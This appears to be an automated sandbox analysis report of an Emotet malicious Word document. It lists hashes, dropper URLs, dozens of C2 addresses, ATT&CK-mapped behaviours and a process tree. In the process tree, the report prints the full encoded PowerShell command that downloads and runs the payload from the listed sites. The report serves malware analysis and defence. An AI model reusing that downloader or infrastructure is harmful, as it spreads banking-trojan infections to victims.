emotet | b165a72e79277f849a4ef95a5f985c8d4c92c6685bdeedd4326c941c9931c1c8

General

Target
emotet_e2_b165a72e79277f849a4ef95a5f985c8d4c92c6685bdeedd4326c941c9931c1c8_2020-08-15__085621._doc.doc
Size 233KB
Sample200815-4enh677aae
SHA256 b165a72e79277f849a4ef95a5f985c8d4c92c6685bdeedd4326c941c9931c1c8
MD5 9f784ccdc77819788d983088b41a5b49
SHA1 e6a713480bf44eaaa6a3ea38169463e0387af675
SHA512 8aa3470d63f831e379d7aadec4e721c8b7f8449e3708a7dce17221060a734ebadaec2b774481463ee5b387360539dca48e9319c4ef532350727115b0c872d20d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://pmanquetil.com/wp-admin/0f_aufka_yxuwpl/
exe.dropper
https://hsshivling.com/9efesfwep/b7xi_dys_5menh13/
exe.dropper
http://vtescebu.com/wp-content/upgrade/qo_4f_q/
exe.dropper
http://congcuphongthan.com/mainto/p_e9_nzbfcj04oi/
exe.dropper
http://glashandelmaxima.nl/wp-admin/ivtu_6l7_yyn42mu35/

Extracted

Family

emotet

C2

75.139.38.211:80
69.30.203.214:8080
67.205.85.243:8080
190.160.53.126:80
183.101.175.193:80
137.59.187.107:8080
168.235.67.138:7080
209.143.35.232:80
180.92.239.110:8080
167.86.90.214:8080
85.66.181.138:80
95.213.236.64:8080
83.169.36.251:8080
157.245.99.39:8080
79.98.24.39:8080
70.167.215.250:8080
93.51.50.171:8080
174.102.48.180:80
24.179.13.119:80
41.60.200.34:80
188.83.220.2:443
91.211.88.52:7080
24.43.99.75:80
47.144.21.12:443
37.187.72.193:8080
104.131.44.150:8080
199.101.86.142:8080
116.203.32.252:8080
85.152.162.105:80
83.110.223.58:443
78.24.219.147:8080
62.75.141.82:80
152.168.248.128:443
157.147.76.151:80
24.137.76.62:80
121.124.124.40:7080
62.138.26.28:8080
173.62.217.22:443
107.185.211.16:80
103.86.49.11:8080
113.160.130.116:8443
72.12.127.184:443
181.211.11.242:80
204.197.146.48:80
176.111.60.55:8080
104.236.246.93:8080
97.82.79.83:80
74.208.45.104:8080
87.106.136.232:8080
209.141.54.221:8080
169.239.182.217:8080
110.145.77.103:80
222.214.218.37:4143
165.165.171.160:8080
47.146.117.214:80
139.59.60.244:8080
203.153.216.189:7080
5.196.74.210:8080
37.139.21.175:8080
201.173.217.124:443
47.153.182.47:80
2.58.16.85:7080
109.116.214.124:443
200.41.121.90:80
95.179.229.244:8080
142.105.151.124:443
5.39.91.110:7080
185.94.252.104:443
189.212.199.126:443
109.74.5.95:8080
37.70.8.161:80
190.55.181.54:443
61.19.246.238:443
74.120.55.163:80
85.105.205.77:8080
181.230.116.163:80
104.131.11.150:443
81.2.235.111:8080
203.117.253.142:80
24.233.112.152:80
47.146.32.175:80
76.27.179.47:80
87.106.139.101:8080
46.105.131.79:8080
139.130.242.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3948	988	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3516-14-0x0000000002320000-0x000000000232C000-memory.dmp	emotet
behavioral2/memory/3516-14-0x0000000002320000-0x000000000232C000-memory.dmp	emotet
behavioral2/memory/3132-17-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet
behavioral2/memory/3132-17-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	3948	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3516	Ejxs.exe
3132	msvcrt40.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Networking.Connectivity\msvcrt40.exe	Ejxs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1380	WINWORD.EXE
1380	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3948	powersheLL.exe
3948	powersheLL.exe
3948	powersheLL.exe
3132	msvcrt40.exe
3132	msvcrt40.exe
3132	msvcrt40.exe
3132	msvcrt40.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3948	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
1380	WINWORD.EXE
3516	Ejxs.exe
3516	Ejxs.exe
3132	msvcrt40.exe
3132	msvcrt40.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3948 wrote to memory of 3516	3948	powersheLL.exe	74
PID 3948 wrote to memory of 3516	3948	powersheLL.exe	74
PID 3948 wrote to memory of 3516	3948	powersheLL.exe	74
PID 3516 wrote to memory of 3132	3516	Ejxs.exe	75
PID 3516 wrote to memory of 3132	3516	Ejxs.exe	75
PID 3516 wrote to memory of 3132	3516	Ejxs.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_b165a72e79277f849a4ef95a5f985c8d4c92c6685bdeedd4326c941c9931c1c8_2020-08-15__085621._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1380

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABDAG4ANABuADEAZABkAD0AJwBPAGgAdwB2AHAAeABmACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAHIAaQBgAFQAWQBwAGAAUgBvAHQAYABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVwBhADAANgA1AG8AdAAgAD0AIAAnAEUAagB4AHMAJwA7ACQATQBoAHMAawAzAF8AdAA9ACcAWABjAHQAdwBzADcAMQAnADsAJABQAGgAZgBtADIAbQBqAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQAVwBhADAANgA1AG8AdAArACcALgBlAHgAZQAnADsAJABZADgANwB0AGUANAAzAD0AJwBTAHkAcwBpADcANABzACcAOwAkAFkAdwByAG0AZwB3AHQAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAOwAkAFEAYQA5AG8AZwA2ADgAPQAnAGgAdAB0AHAAcwA6AC8ALwBwAG0AYQBuAHEAdQBlAHQAaQBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAwAGYAXwBhAHUAZgBrAGEAXwB5AHgAdQB3AHAAbAAvACoAaAB0AHQAcABzADoALwAvAGgAcwBzAGgAaQB2AGwAaQBuAGcALgBjAG8AbQAvADkAZQBmAGUAcwBmAHcAZQBwAC8AYgA3AHgAaQBfAGQAeQBzAF8ANQBtAGUAbgBoADEAMwAvACoAaAB0AHQAcAA6AC8ALwB2AHQAZQBzAGMAZQBiAHUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAZwByAGEAZABlAC8AcQBvAF8ANABmAF8AcQAvACoAaAB0AHQAcAA6AC8ALwBjAG8AbgBnAGMAdQBwAGgAbwBuAGcAdABoAGEAbgAuAGMAbwBtAC8AbQBhAGkAbgB0AG8ALwBwAF8AZQA5AF8AbgB6AGIAZgBjAGoAMAA0AG8AaQAvACoAaAB0AHQAcAA6AC8ALwBnAGwAYQBzAGgAYQBuAGQAZQBsAG0AYQB4AGkAbQBhAC4AbgBsAC8AdwBwAC0AYQBkAG0AaQBuAC8AaQB2AHQAdQBfADYAbAA3AF8AeQB5AG4ANAAyAG0AdQAzADUALwAnAC4AIgBzAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQBwADcANwBzAHYAPQAnAE8AOQBxAHMAeQBhAGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEEAYgAzADQAXwAyAGoAIABpAG4AIAAkAFEAYQA5AG8AZwA2ADgAKQB7AHQAcgB5AHsAJABZAHcAcgBtAGcAdwB0AC4AIgBEAG8AVwBOAGwAYABvAEEARABmAGAASQBgAGwAZQAiACgAJABBAGIAMwA0AF8AMgBqACwAIAAkAFAAaABmAG0AMgBtAGoAKQA7ACQAWAB0AGkAcQBhAGgANgA9ACcATAAwAHUAZQBzAGwAawAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFAAaABmAG0AMgBtAGoAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAyADIAMQA4ADAAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAoACQAUABoAGYAbQAyAG0AagApADsAJABQADAAOQByADYAMgBxAD0AJwBFADAAaABtAGoANwAxACcAOwBiAHIAZQBhAGsAOwAkAFoAbABuAHUAYwA5AHIAPQAnAFQAcQA4ADkAcgBpAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgAwAGMAYwBnAGMAYwA9ACcAVQBkADUAaQB5AGwAZgAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Users\Admin\AppData\Local\Temp\Ejxs.exe
  "C:\Users\Admin\AppData\Local\Temp\Ejxs.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\SysWOW64\Windows.Networking.Connectivity\msvcrt40.exe
    "C:\Windows\SysWOW64\Windows.Networking.Connectivity\msvcrt40.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1380-0-0x00007FFB5AFD0000-0x00007FFB5B696000-memory.dmp

Download

memory/3132-17-0x00000000020D0000-0x00000000020DC000-memory.dmp

Download

memory/3516-14-0x0000000002320000-0x000000000232C000-memory.dmp

Download

memory/3948-8-0x00007FFB536A0000-0x00007FFB5408C000-memory.dmp

Download

memory/3948-9-0x0000017D07CD0000-0x0000017D07CD1000-memory.dmp

Download

memory/3948-10-0x0000017D20470000-0x0000017D20471000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads